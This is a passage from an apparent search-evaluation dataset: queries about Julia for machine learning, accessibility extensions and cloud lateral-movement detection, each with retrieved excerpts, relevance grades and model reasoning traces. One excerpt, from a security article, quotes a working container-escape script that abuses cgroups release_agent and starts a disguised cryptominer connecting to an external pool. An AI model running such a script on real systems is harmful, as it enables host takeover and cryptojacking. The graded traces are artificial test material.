                "published_date": "2020-01-20",
                "text": "Why Julia is better than Python for DS/ML Julia is a multi-paradigm, primarily functional programming language that was created for machine-learning and statistical programming. Python is another multi-paradigm programming language that is used for machine-learning, though generally Python is considered to be object-oriented. Julia, on the other hand, is more based on the functional paradigm. Though Julia certainly isn\u2019t as popular as Python, there are some huge benefits to using Julia for Data Science that make it a better choice in a lot of situations that Python. \u21161: Speed It\u2019s hard to talk about Julia without talking about speed. Julia prides itself on being very fast. Julia, unlike Python which is interpreted, is a compiled language that is primarily written in its own base. However, unlike other compiled languages like C, Julia is compiled at run-time, whereas traditional languages are compiled prior to execution. Julia, especially when written well, can be as fast and sometimes even faster than C. Julia uses the Just In Time (JIT) compiler and compiles incredibly fast, though it compiles more like an interpreted language than a traditional low-level compiled language like C, or Fortran. \u21162: Versatility You might have noticed that I said Python was versatile as an advantage to Julia, and this is true \u2014 there are a lot of things that can be done with Python that you just can\u2019t do with Julia. Of course, this is only natively speaking, because the versatility we\u2019re talking about now is versatility in language. Julia code is universally executable in R, Latex, Python, and C. This means that typical Data Science projects have the potential to be written once, and compiled in Julia natively from another language in a wrapper, or just by sending strings. PyCall and RCall are also pretty big deals. Given that a serious downside to Julia is in fact the packages, it\u2019s really convenient to be able to call on Python and R whenever you need them. PyCall is very well implemented into Julia, and is definitely sincerely we",
                "model_trace": "Query Decomposition:\n1. {key differences between Julia and Python/R for machine learning}: The document discusses differences between Julia and Python, particularly focusing on aspects relevant to data science and machine learning -> ([1], SATISFIED)\n2. {advantages of Julia for machine learning tasks}: The document highlights several advantages of using Julia for data science and machine learning, such as speed and versatility -> ([1], SATISFIED)\n3. {large-scale optimization problems}: The document does not specifically mention large-scale optimization problems -> ([0], UNSURE)\n\nAssessment: The document provides a detailed comparison of Julia and Python for machine learning, addressing the key differences and advantages of Julia. Although it does not specifically discuss large-scale optimization problems, the information provided is still highly relevant and useful for the query. YES."
            },
            {
                "grade": "YES",
                "title": "Julia vs. Python: Which is best for data science?",
                "url": "https://www.infoworld.com/article/3241107/julia-vs-python-which-is-best-for-data-science.html",
                "published_date": "2020-05-27",
                "text": "Python has turned into a data science and machine learning mainstay, while Julia was built from the ground up to do the job\n\nSenior Writer,\n\nInfoWorld |\n\nThinkstock\n\nTable of Contents\n\nJulia vs. Python: Julia language advantages \n Julia vs. Python: Python advantages\n\nShow More\n\nAmong the many use cases Python covers, data analytics has become perhaps the biggest and most significant. The Python ecosystem is loaded with libraries, tools, and applications that make the work of scientific computing and data analysis fast and convenient. But for the developers behind the Julia language \u2014 aimed specifically at \u201cscientific computing, machine learning, data mining, large-scale linear algebra, distributed and parallel computing\u201d\u2014Python isn\u2019t fast or convenient enough. Julia aims to give scientists and data analysts not only fast and convenient development, but also blazing execution speed. What is the Julia language? Created in 2009 by a four-person team and unveiled to the public in 2012, Julia is meant to address the shortcomings in Python and other languages and applications used for scientific computing and data processing. \u201cWe are greedy,\u201d they wrote. They wanted more: \nWe want a language that\u2019s open source, with a liberal license. We want the speed of C with the dynamism of Ruby. We want a language that\u2019s homoiconic, with true macros like Lisp, but with obvious, familiar mathematical notation like Matlab. We want something as usable for general programming as Python, as easy for statistics as R, as natural for string processing as Perl, as powerful for linear algebra as Matlab, as good at gluing programs together as the shell. Something that is dirt simple to learn, yet keeps the most serious hackers happy. We want it interactive and we want it compiled.\n(Did we mention it should be as fast as C?)\n Here are some of the ways Julia implements those aspirations: \n Julia is compiled, not interpreted. For faster runtime performance, Julia is just-in-time (JIT) compiled using the LLVM compiler framework. At its best, Jul",
                "model_trace": "Query Decomposition:\n1. [Key differences between Julia and Python for machine learning]: The document discusses the advantages of Julia over Python, particularly highlighting Julia's speed and convenience for scientific computing and data processing -> ([1], SATISFIED)\n2. [Advantages of using Julia for machine learning]: The document mentions Julia's specific design for scientific computing, machine learning, and large-scale linear algebra, which implies advantages in these areas -> ([1], SATISFIED)\n3. [Julia for large-scale optimization problems]: The document mentions Julia's capabilities in distributed and parallel computing, which are relevant for large-scale optimization problems -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents by discussing the differences, advantages, and specific capabilities of Julia for machine learning and large-scale optimization tasks. YES"
            },
            {
                "grade": "YES",
                "title": "Why I'm in love with Julia | HackerNoon",
                "url": "https://hackernoon.com/why-im-in-love-with-julia-jo763y3a",
                "published_date": "2020-03-05",
                "text": "In this article I'm going to make a case why people serious about creating machine learning algorithms and high performance data science programming should use Julia rather than Python. For the record, I love Python - I love the freedom it gave me in the space between scripting and application programming. As I have been programming high-performance data processing and analysis codes that live on HPC clusters for more than 25 years, I have a different perspective than perhaps many of the user/programmers that employ Python to solve problems. For big data especially, be it in biotech, fintech, earth science, or otherwise, data processing and analysis codes can run for days or weeks. A 2x, 3x, or 5x slow-down in exchange for programmer productivity or abstractions is an unacceptable trade off. Maybe, languages like Python, Matlab, R and others that allow the researcher to formulate new approaches to a solution, are useful for research, but they cannot compete in the Big Data/HPC world unless they get within less than a large factor of two in run-times when compared to optimized Fortran. Myself, for general HPC applications I use a mixture of HPF (high-performance fortan) and C/C++ with GPGPU. For commercial applications that need to be shipped to customers, I use a mixture of Java(Netbeans)/C and GPGPU. Currently for my front-end application user-facing development I use Java Netbeans, but more and more so I now use Python and Node.js, plainly because they're simple and portable. That being said, I was unsatisfied with the results, until I met Julia. The launch post for Julia promised \"the language combined the speed of C with the usability of Python, the dynamism of Ruby, the mathematical prowess of Matlab, and the statistical chops of R.\" The language's core features from a technical standpoint, according to Edelman, one of Julia\u2019s core creators and promoters, \"are its multiple dispatch paradigm, which allows it to express object-oriented and functional programming patterns, its support for \"generic programming\",",
                "model_trace": "Query Decomposition:\n1. [Key differences between Julia and Python/R for machine learning]: The document discusses the advantages of Julia over Python and other languages for high-performance data science, but it does not explicitly compare Julia with R -> ([2], UNSURE)\n2. [Advantages of using Julia for machine learning tasks]: The document mentions the benefits of Julia for creating machine learning algorithms and high-performance data science programming -> ([1], SATISFIED)\n3. [Advantages of Julia for large-scale optimization problems]: The document mentions Julia's suitability for big data and HPC applications but does not explicitly discuss large-scale optimization problems -> ([2], UNSURE)\n\nAssessment: The document provides a good overview of the advantages of Julia for machine learning and high-performance data science but lacks explicit comparisons with R and specific details about large-scale optimization problems. However, it does give enough information about Julia's advantages in general, which is relevant to the user's query.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "A Comparative Analysis of Python, R, and Julia",
                "url": "https://medium.com/@jesus.cantu217/a-comparative-analysis-of-python-r-and-julia-2e7e0553aea9",
                "published_date": null,
                "text": "Picture of different programming languages for data science.  In the field of data science, choosing the right programming language can significantly impact your productivity and the effectiveness of your data analysis. Python, R, and Julia are three popular programming languages widely used in the data science community. Each language offers unique features and capabilities that make them suitable for different tasks. In this blog post, we will provide a comprehensive comparison of Python, R, and Julia, examining their strengths, weaknesses, and situations where one language may be preferred over the others. This analysis will help you make an informed decision when selecting the most appropriate language for your data science projects. Python Python is a versatile and widely adopted programming language known for its simplicity and readability. It has a rich ecosystem of libraries, making it an excellent choice for general-purpose data analysis and machine learning tasks. Python\u2019s popularity stems from its extensive support for scientific computing libraries such as NumPy, Pandas, and Scikit-learn. These libraries provide robust data manipulation, analysis, and machine learning capabilities, enabling developers to build complex data science pipelines efficiently.   Pros of Python:  - Easy to learn and read: Python\u2019s syntax is intuitive and resembles natural language, making it beginner-friendly and conducive to collaboration among data scientists.- Rich library ecosystem: Python offers a vast collection of libraries for data manipulation, visualization, and machine learning, providing extensive functionality right out of the box.- Strong community support: Python has a large and active community of data scientists and developers, resulting in a wealth of online resources, tutorials, and user-contributed packages.   Cons of Python:  - Performance limitations: Python\u2019s interpreted nature can result in slower execution speed compared to compiled languages, particularly for computationally intensive tasks.- Global ",
                "model_trace": "Query Decomposition:\n1. {Explain the key differences and advantages of using Julia for machine learning tasks}: The document mentions that it will provide a comprehensive comparison of Python, R, and Julia, which likely includes differences and advantages -> ([1], SATISFIED)\n2. {Particularly for large-scale optimization problems}: The document does not specifically mention large-scale optimization problems or Julia's advantages in this area -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent about explaining the key differences and advantages of using Julia for machine learning tasks. However, it does not provide specific information about Julia's advantages for large-scale optimization problems, which is a crucial part of the query. Since the second subcomponent is tagged [0], it should not affect the evaluation.\n\nGiven that the document provides a comparative analysis of Python, R, and Julia, it is likely useful for the user's general interest in understanding Julia for machine learning tasks. YES."
            },
            {
                "grade": "NO",
                "title": "Julia vs R vs Python - Page 5 - Community",
                "url": "https://discourse.julialang.org/t/julia-vs-r-vs-python/4997?page=5",
                "published_date": null,
                "text": "Loading\n  \n  \n  \n    \n      \n    \n    \n      \n      \n    \n      \n    \n    \n    \n      \n      \n    \n  \n||||I||||    Loading\nJulia Programming Language\n    Julia vs R vs Python\n      Community\n        performance\n        Tero_Frondelius December 6, 2018, 2:07pm 81\n          vikram-rawat:\n        You should have enough packages and other points to convince those folks too.\n        My understanding is that you made an assumption that julia community would like to have more users. That\u2019s discussed earlier and it\u2019s the wrong assumption. Julia community is seeking more developers, those people who are willing to write those missing tools and features. Conveniently in julia, it is a low barrier to transform from user to developer.\n        Tamas_Papp December 6, 2018, 2:42pm 82\n          vikram-rawat:\n        Look if I am working with terabytes of data I would throw calculation to the database or spark. I would never use r for that.\n        This is known as the two-language problem (in the Julia community, and also outside of it). Solving it was one of the main reasons for creating Julia.\n          vikram-rawat:\n        What about those people like me who don\u2019t care much about speed.\n        Use the language you find most convenient.\n          vikram-rawat:\n        In academic people don\u2019t use terabytes of data.\n        You should broaden your horizons a little before making statements like that. Working with GBs of data (when available) is now routine in some subfields. TBs also, eg in particle physics.\n        Also, working with large data is not the only task that requires speed. Some require a lot of calculations for a seemingly tiny amount of data (eg MCMC).\n        4 Likes\n        ChrisRackauckas December 6, 2018, 2:51pm 83\n          vikram-rawat:\n        In academic people don\u2019t use terabytes of data.\n        That\u2019s an odd statement, considering you\u2019re talking to a bunch of academics who are using terabytes of data. One common source these days is single-cell RNA-seq. It\u2019s all the rage in systems biology right now ",
                "model_trace": "Query Decomposition:\n1. [key differences of Julia for machine learning tasks]: The document discusses some aspects of Julia's performance and community but does not specifically address the key differences of Julia for machine learning tasks -> ([1], UNSATISFIED)\n2. [advantages of using Julia for machine learning tasks]: The document mentions the two-language problem and the speed advantages of Julia, which could be relevant to machine learning tasks -> ([2], SATISFIED)\n3. [large-scale optimization problems]: The document does not specifically discuss large-scale optimization problems -> ([0], UNSURE)\n\nAssessment: The document partially addresses the advantages of using Julia but does not specifically cover key differences for machine learning tasks or large-scale optimization problems. Therefore, it does not fully satisfy the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Optimized Python is as good as Julia - Performance",
                "url": "https://discourse.julialang.org/t/optimized-python-is-as-good-as-julia/104432",
                "published_date": null,
                "text": "Loading\n  \n  \n  \n    \n      \n    \n    \n      \n      \n    \n      \n    \n    \n    \n      \n      \n    \n  \n||||I||||    Loading\nJulia Programming Language\n    Optimized Python is as good as Julia\n      General Usage Performance\n        question\n        mrkorch September 30, 2023, 2:55pm 1\n        Comparison of Python / Julia benchmarks for a maths problem.\n        I am considering switching to Julia, but would like to know if it is worth it for such tasks.\n        Here is the Python code I used:\n        import random\n        import numpy as np\n        import matplotlib.pyplot as plt\n        import time\n        \n        \n        def benchmark_it(simul_func: callable, *args, **kwargs):\n            def wrapper(*args, **kwargs):\n                start = time.time()\n                simul_func(*args, **kwargs)\n                end = time.time()\n                return end - start\n            return wrapper\n        \n        @benchmark_it\n        def run_simulations(n: int, k: int, n_iters: int) -> float:\n            hats = np.arange(n)\n            ideal = np.arange(n)\n        \n            def did_k_matches_occur_in_the_simulation():\n                np.random.shuffle(hats)\n                matches = np.sum(hats == ideal)\n                return matches == k\n        \n            return sum(did_k_matches_occur_in_the_simulation() for _ in range(n_iters)) / n_iters\n        \n        \n        n_people_to_try = [250, 1000, 5000, 10000]\n        \n        times = [run_simulations(n_people, 0, 100_000) for n_people in n_people_to_try]\n        \n        plt.scatter(n_people_to_try, times)\n        plt.xlabel(\"'n' in the simulation\")\n        plt.ylabel('Time (s)')\n        plt.show()\n        \n        I also attach the used Julia file:\n        using Random\n        using BenchmarkTools\n        using Plots\n        \n        \n        \n        function run_simulations(n::Int, k::Int, n_simulations::Int)::Float64\n            # n: number of people\n            # k: number of simulations\n            # n_simulations: number of simulations to run\n        \n ",
                "model_trace": "Query Decomposition:\n1. [key differences of using Julia for machine learning tasks]: The document does not discuss the key differences of using Julia for machine learning tasks -> ([0], UNSATISFIED)\n2. [advantages of using Julia for machine learning tasks]: The document does not discuss the advantages of using Julia for machine learning tasks -> ([0], UNSATISFIED)\n3. [large-scale optimization problems]: The document does not specifically address large-scale optimization problems -> ([0], UNSATISFIED)\n\nAssessment: The document primarily contains a comparison of Python and Julia for a specific math problem rather than a detailed discussion on the key differences and advantages of using Julia for machine learning tasks, especially for large-scale optimization problems. Therefore, it does not satisfy any of the user's subcomponents.\n\nNO."
            }
        ]
    },
    {
        "query": "I'm a front-end developer with color blindness. Are there any VS Code extensions or tools specifically designed to help with color contrast and accessibility testing for web applications?",
        "grid_pos": [
            3,
            5
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "These queries are challenging and diverse, targeting specific programming languages, frameworks, and specialized knowledge areas. They are personalized, mentioning the user's background or specific situation, and are seeking high-quality, technical resources likely to be found on platforms like StackOverflow, GitHub, or specialized debugging resources. The queries require deep understanding of complex topics in software development, data science, DevOps, accessibility, and cybersecurity, making them suitable for testing Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "GitHub - mendixlabs/m11y: Extension to Assist with Mendix Applications",
                "url": "https://github.com/mendixlabs/m11y",
                "published_date": "2022-04-15",
                "text": "Skip to content\n Toggle navigation\n Sign up\n * Product\n + Actions\n Automate any workflow\n + Packages\n Host and manage packages\n + Security\n Find and fix vulnerabilities\n + Codespaces\n Instant dev environments\n + Copilot\n Write better code with AI\n + Code review\n Manage code changes\n + Issues\n Plan and track work\n + Discussions\n Collaborate outside of code\n + Explore\n + All features\n + Documentation\n + GitHub Skills\n + Blog\n * Solutions\n + For\n + Enterprise\n + Teams\n + Startups\n + Education\n + By Solution\n + CI/CD & Automation\n + DevOps\n + DevSecOps\n + Case Studies\n + Customer Stories\n + Resources\n * Open Source\n + GitHub Sponsors\n Fund open source developers\n + The ReadME Project\n GitHub community articles\n + Repositories\n + Topics\n + Trending\n + Collections\n * Pricing\n * In this repository All GitHub \u21b5\n Jump to \u21b5\n * No suggested jump to results\n * In this repository All GitHub \u21b5\n Jump to \u21b5\n * In this organization All GitHub \u21b5\n Jump to \u21b5\n * In this repository All GitHub \u21b5\n Jump to \u21b5\n Sign in\n Sign up\n {{ message }}\n mendixlabs / m11y Public\n * Notifications\n * Fork 0\n * Star 2\n\nExtension to Assist with Mendix Applications\n\n2 stars 0 forks\n Star\n Notifications\n * Code\n * Issues 0\n * Pull requests 0\n * Actions\n * Projects 1\n * Security\n * Insights\n More\n * Code\n * Issues\n * Pull requests\n * Actions\n * Projects\n * Security\n * Insights\n\nmendixlabs/m11y\n\nThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.\n main\n Switch branches/tags\n Branches Tags\n Could not load branches\n Nothing to show\n {{ refName }} default\n View all branches\n Could not load tags\n Nothing to show\n {{ refName }} default\n View all tags\n\nName already in use\n\nA tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?\n Cancel Create\n 1 branch 3 tags\n Code\n * Local\n * Codespaces\n * Clone\n HTTPS GitHub CLI\n\nUse Git or checkout with SVN using the web U",
                "model_trace": "Query Decomposition:\n1. {VS Code extensions or tools}: The document is about an extension, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {specifically designed to help with color contrast and accessibility testing for web applications}: The document mentions an extension to assist with Mendix applications but does not specify that it is for color contrast or accessibility testing -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {VS Code extensions or tools} and {specifically designed to help with color contrast and accessibility testing for web applications}. Since the document does not satisfy the second subcomponent, it is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "GitHub - mvdschee/web-accessibility: A Visual Studio Extension for Web accessibility",
                "url": "https://github.com/mvdschee/web-accessibility",
                "published_date": "2022-02-19",
                "text": "Web Accessibility Extension - Visual Studio Code\n\nSo I heard you wanted to write more accessible code? Well, you came to the right Extension!\n\nThis extension is here to help you get feedback on what parts need some more attention for it to be accessible, this is just the basics and doesn't cover all the rules but will help with making your project more accessible.\n\n\u2728Features\n\nThe extension can do the following for you:\n\nHighlight elements that you should consider changing.\nGive a hint on how you should change it.\n\n\ud83d\udd12Extension Settings\nThe settings can be found at File > Preferences > Settings > Extensions > Web Accessibility\n\nSettings\nType\nDefault\n\nMax Number Of Problems\nnumber\n100\n\nSemantic HTML\nboolean\ntrue\n\n\ud83d\udcddRelease Notes\nAll notable changes to this project will be documented in the Changelog.\nDevelop\n\ntype in the terminal:\n # install dependencies\n$ npm install\n\nOpen debug panel in VScode and RUN \"Launch Client\"\n\nOpen a project which contains a HTML file and see the linting in action.\n\nBuild vsce package\n\nPublish vsce publish\n\n\ud83d\udc9aLicense\nDo what you want with the code it's MIT Licensed!\n\ud83d\ude04Misc\nFollow Me: Medium, GitHub, Twitter \n \u00a9 Max van der Schee 2018",
                "model_trace": "Query Decomposition:\n1. [VS Code extensions]: The document is about a Visual Studio Code extension -> ([1], SATISFIED)\n2. [Tools specifically designed to help with color contrast]: The document does not explicitly mention color contrast tools -> ([0], UNSURE)\n3. [Accessibility testing for web applications]: The document describes an extension for web accessibility, which includes highlighting elements that need changes for accessibility -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {VS Code extensions} and {Accessibility testing for web applications}. Both of these subcomponents are satisfied by the document. Although it does not specifically mention color contrast tools, the general focus on web accessibility is highly relevant to the user's query.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "GitHub - oftheheadland/Colorblindly: Accessibility tool to help developers understand how colorblind users experience their website.",
                "url": "https://github.com/oftheheadland/Colorblindly",
                "published_date": "2021-11-02",
                "text": "Colorblindly\n\nColorblindly is an extension that helps developers create websites for the people with colorblindness by allowing them to simulate the experience those users have on websites.\nThe extension works by placing a CSS filter over the webpage that modifies color ratios in line with actual types of colorblindness.\nThere are 8 different settings to experience:\n\nBlue Cone Monochromacy / Achromatomaly\nMonochromacy / Achromatopsia\nGreen-Weak / Deuteranomaly\nGreen-Blind / Deuteranopia\nRed-Weak / Protanomaly\nRed-Blind / Protanopia\nBlue-Weak / Tritanomaly\nBlue-Blind / Tritanopia\n\nColorblind Statistics, courtesy of Wikipedia\n\nGetting Started\nInstall the extension from the Chrome store here \nOr clone the repository and add to Chrome as an unpacked extension.\nCurrently this is a Google Chrome-only extension.\nContributing\nFeel free to make a pull request with your feature, following our CONTRIBUTING.md OR submit an issue and we'll try to make it happen.\nAuthors\n\nAndrew VanNess - oftheheadland\n\nContributors\n\nhttps://github.com/ItamarShDev\n\nhttps://github.com/Poonchy\n\nhttps://github.com/minifyre\n\nhttps://github.com/tyGoulski\n\nLicense\nThis project is licensed under the MIT License - see the LICENSE file for details.\nAcknowledgments\nIcons:\n\nThe Noun Project\n\nResearch:\n\nWikipedia\nNational Eye Institute",
                "model_trace": "Query Decomposition:\n1. {VS Code extensions or tools}: This document is about a tool, but it is not a VS Code extension -> ([1], UNSATISFIED)\n2. {designed to help with color contrast and accessibility testing for web applications}: This document describes an extension that helps developers understand how colorblind users experience their website, which aligns with accessibility testing for web applications -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponent {designed to help with color contrast and accessibility testing for web applications} is satisfied. However, the document does not address the specific need for a VS Code extension. Since the query explicitly asks for VS Code extensions or tools, and this document does not mention VS Code, it is not fully aligned with the user's intent. NO."
            },
            {
                "grade": "YES",
                "title": "These VS Code extensions help you fix accessibility and ...",
                "url": "https://dev.to/hxlnt/these-vs-code-extensions-help-you-fix-accessibility-and-compatibility-bugs-while-you-code-2196",
                "published_date": null,
                "text": "webhint is a VS Code extension that checks your web code for accessibility, compatibility, security, and performance pitfalls. The Error Lens VS Code extension brings code warnings out of the Problems pane and next to the affected line. Used alone or together, they ensure you'll fix a whole host of code issues before you even close the &lt;/tag&gt;!\nFor the past year and a half or so, I've been contributing to webhint, an open-source project that collects best practices and suggestions from sources such as axe-core and MDN into a single tool. You can think of it kind of like a linter for the web, giving you real-time feedback in areas such as cross-browser compatibility, accessibility, performance, and security. \n    \nNellie, the official webhint mascot \nI love using the webhint VS Code extension because it helps me fix mistakes while I'm coding. It analyzes HTML, CSS, JS, TS, JSX, and more. As with other VS Code linters, webhint messages appear in the Problems pane in VS Code.\n    \nwebhint VS Code extension \nI recently discovered another VS Code extension called Error Lens. Error Lens takes messages published to the Problems pane and inlines them with your code. It's also configurable via a variety of provided errorLens. settings.\nUsing the webhint and Error Lens extensions together creates an all-new experience. Now, I can see webhint feedback on a11y, compat, and more, right on the line where the error occurs! \ud83d\ude0d\n    \nThis accessibility warning from webhint appears as I type and disappears when I fix the issue \n \nSearch \"webhint\" and \"Error Lens\" in the VS Code extensions tab to install them both.\nwebhint is available as a CLI, a browser extension, and a VS Code extension. It's even built in directly to the Microsoft Edge browser's DevTools. If you're interested in contributing to webhint, come find us on GitHub!\n \n \n \n  \n    All DEV content is created by the community! Hey, if you're landing here for the first time, you should know that this website is a global community of folks who blog about their experienc",
                "model_trace": "Query Decomposition:\n1. {VS Code extensions}: The document mentions VS Code extensions -> ([1], SATISFIED)\n2. {tools specifically designed to help with color contrast and accessibility testing}: The document mentions webhint and Error Lens, which focus on accessibility and other code issues -> ([1], SATISFIED)\n3. {for web applications}: The document discusses tools that analyze HTML, CSS, JS, TS, JSX, and more, which are relevant for web applications -> ([1], SATISFIED)\n4. {help for color blindness}: The document does not specifically mention tools designed for color blindness -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {VS Code extensions}, {tools specifically designed to help with color contrast and accessibility testing}, and {for web applications}. Since all these subcomponents are SATISFIED, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Accessibility with VS Code",
                "url": "https://www.youtube.com/watch?v=nV5mn6oLv4U",
                "published_date": null,
                "text": "Building accessibility into the planning stages of programming can eliminate barriers to participation and create an inclusive environment for people with disabilities.\r\n\r\nChapters:\n00:00 Livestream begins\n00:37 Welcome to the VS Code Livestream\n01:02 Throwback TikTok Thursday\n02:42 Welcome Rory Preddy\n07:29 Accessibility Principles\n17:00 Accsssibility Insights\n17:58 DQ University Demo begins add link\n26:31 VS Code demo begins - add repo link\n33:43 Pitaya Smoothie theme for colorblindness\n35:59 Axe Linter extension add link\n55:45 Lightning Round\n59:24 Connect\n01:01:08 Wrap\nCommunity Links: \nhttps://accessibilityinsights.io/\nhttps://github.com/roryp/livestream\nhttps://aka.ms/AccessibilityPrinciples\nhttps://aka.ms/AxeLinter/Accessibility\nhttps://dequeuniversity.com/demo/mars\nAccessibility for colorblindness https://aks.ms/PitayaSmoothie\n\r\nFeaturing: Reynald Adolphe (@ReynaldAdolphe)  Rory Preddy (@rorypreddy)\r\n\r\n#accessibility #copilot #A11y #playwright #html\n| view_count: 4,571 views | short_view_count: 4.5K views | num_likes:  | num_subscribers: 494K",
                "model_trace": "Query Decomposition:\n1. [VS Code extensions or tools]: The document mentions specific VS Code extensions and tools -> ([1], SATISFIED)\n2. [Designed to help with color contrast and accessibility testing]: The document specifically mentions the Axe Linter extension and Pitaya Smoothie theme for colorblindness, which are relevant to accessibility testing and color contrast -> ([1], SATISFIED)\n\nAssessment: The document provides information about specific VS Code extensions and tools that are designed to help with color contrast and accessibility testing, which aligns well with the user's query. YES"
            },
            {
                "grade": "YES",
                "title": "Accessibility with VS Code",
                "url": "https://www.youtube.com/watch?v=nV5mn6oLv4U",
                "published_date": null,
                "text": "Building accessibility into the planning stages of programming can eliminate barriers to participation and create an inclusive environment for people with disabilities.\r\n\r\nChapters:\n00:00 Livestream begins\n00:37 Welcome to the VS Code Livestream\n01:02 Throwback TikTok Thursday\n02:42 Welcome Rory Preddy\n07:29 Accessibility Principles\n17:00 Accsssibility Insights\n17:58 DQ University Demo begins add link\n26:31 VS Code demo begins - add repo link\n33:43 Pitaya Smoothie theme for colorblindness\n35:59 Axe Linter extension add link\n55:45 Lightning Round\n59:24 Connect\n01:01:08 Wrap\nCommunity Links: \nhttps://accessibilityinsights.io/\nhttps://github.com/roryp/livestream\nhttps://aka.ms/AccessibilityPrinciples\nhttps://aka.ms/AxeLinter/Accessibility\nhttps://dequeuniversity.com/demo/mars\nAccessibility for colorblindness https://aks.ms/PitayaSmoothie\n\r\nFeaturing: Reynald Adolphe (@ReynaldAdolphe)  Rory Preddy (@rorypreddy)\r\n\r\n#accessibility #copilot #A11y #playwright #html\n| view_count: 4,571 views | short_view_count: 4.5K views | num_likes:  | num_subscribers: 494K",
                "model_trace": "Query Decomposition:\n1. {VS Code extensions or tools}: The document mentions several VS Code extensions and tools -> ([1], SATISFIED)\n2. {specifically designed to help with color contrast and accessibility testing}: The document mentions the \"Pitaya Smoothie\" theme for colorblindness and the \"Axe Linter\" extension for accessibility, which are relevant to the query -> ([1], SATISFIED)\n3. {for web applications}: The document is about accessibility in the context of VS Code, which is used for web development -> ([2], SATISFIED)\n\nAssessment: The document provides information about specific VS Code extensions and tools that address color contrast and accessibility, including those relevant to colorblind developers. It satisfies all key subcomponents. YES."
            }
        ]
    },
    {
        "query": "As a cybersecurity professional specializing in network security, what are some cutting-edge techniques for detecting and mitigating sophisticated lateral movement attacks in a cloud-native environment?",
        "grid_pos": [
            3,
            5
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "These queries are challenging and diverse, targeting specific programming languages, frameworks, and specialized knowledge areas. They are personalized, mentioning the user's background or specific situation, and are seeking high-quality, technical resources likely to be found on platforms like StackOverflow, GitHub, or specialized debugging resources. The queries require deep understanding of complex topics in software development, data science, DevOps, accessibility, and cybersecurity, making them suitable for testing Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Threat Detections for Container Lateral Movements and Container Escapes \u2014 This is How",
                "url": "https://medium.com/confluera-engineering/threat-detections-for-container-lateral-movements-and-container-escapes-this-is-how-dc595c6b53cc",
                "published_date": "2021-06-27",
                "text": "A container wide open. source: technadu.com Introduction The simplicity and flexibility of microservice architecture has led to an increasing adoption of containers and kubernetes in the cloud. According to Gartner, more than 75% of global organizations will be running containerized apps in production by 2022. As the adoption increases, threat actors are evolving their toolsets to compromise container workloads. Recently, it is reported that 50,000 IPs across multiple Kubernetes clusters were compromised by TeamTNT. Threat actors typically exploit vulnerabilities and/or misconfigurations of the container workloads. They can not only move between containers, but also move between containers and the underlying hosts. Recently, we observed that threat actors such as TeamTNT has developed more sophisticated techniques to perform container escapes. TeamTNT\u2019s Container Escape In the TeamTNT operation we observed, once it gains foothold on a privileged container, it uses a container escape technique similar to the initial POC tweeted by Felix Wilhelm from Google. It abuses the cgroups release_agent feature as shown below: #!/bin/shmkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release host_path=$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab) echo \"$host_path/cmd\" > /tmp/cgrp/release_agentecho \"#!/bin/sh\" > /cmdecho \"while true; do pkill -9 xmrig; sleep 3; done\" >> /cmdchmod a+x /cmdsh -c 'echo 0 >/tmp/cgrp/x/cgroup.procs'/nginx --donate-level 0 -o 46.101.19.93:3333 -u <hidden> -p <hidden> --nichehash By using the above script, an attacker is able to break out of the container and execute the cmd script as root if the container is ran as a privileged container. The nginx binary is actually a cryptocurrency miner. The attacker may used the name nginx to trick the victim into thinking that it\u2019s legitimate web server and evade detections. Container Lateral Movements and Container Escapes Container lateral movements can be classified into three categories: Co",
                "model_trace": "Query Decomposition:\n1. {cutting-edge techniques}: The document discusses sophisticated techniques used by threat actors and how they perform container escapes and lateral movements, which implies it covers advanced methods -> ([1], SATISFIED)\n2. {detecting sophisticated lateral movement attacks}: The document specifically mentions threat detections for container lateral movements, which aligns with detecting such attacks -> ([1], SATISFIED)\n3. {mitigating sophisticated lateral movement attacks}: The document does not explicitly mention mitigation techniques but discusses detection, which could imply some mitigation strategies -> ([2], UNSURE)\n4. {cloud-native environment}: The document focuses on containers and Kubernetes, which are key components of cloud-native environments -> ([1], SATISFIED)\n\nAssessment: The document satisfies most of the key subcomponents, particularly those related to cutting-edge techniques, detection, and the cloud-native environment. Although it is not explicitly clear on mitigation, the document's focus on detection could imply some strategies for mitigation. YES."
            },
            {
                "grade": "NO",
                "title": "Why CISOs Should Invest More Inside Their Infrastructure",
                "url": "https://blogs.vmware.com/security/2022/06/cisos-lateral-cybersecurity-threats-contexa.html?amp;utm_medium=organic-social&amp;utm_campaign=social-general&amp;utm_term=none&amp;utm_content=blog",
                "published_date": "2022-06-02",
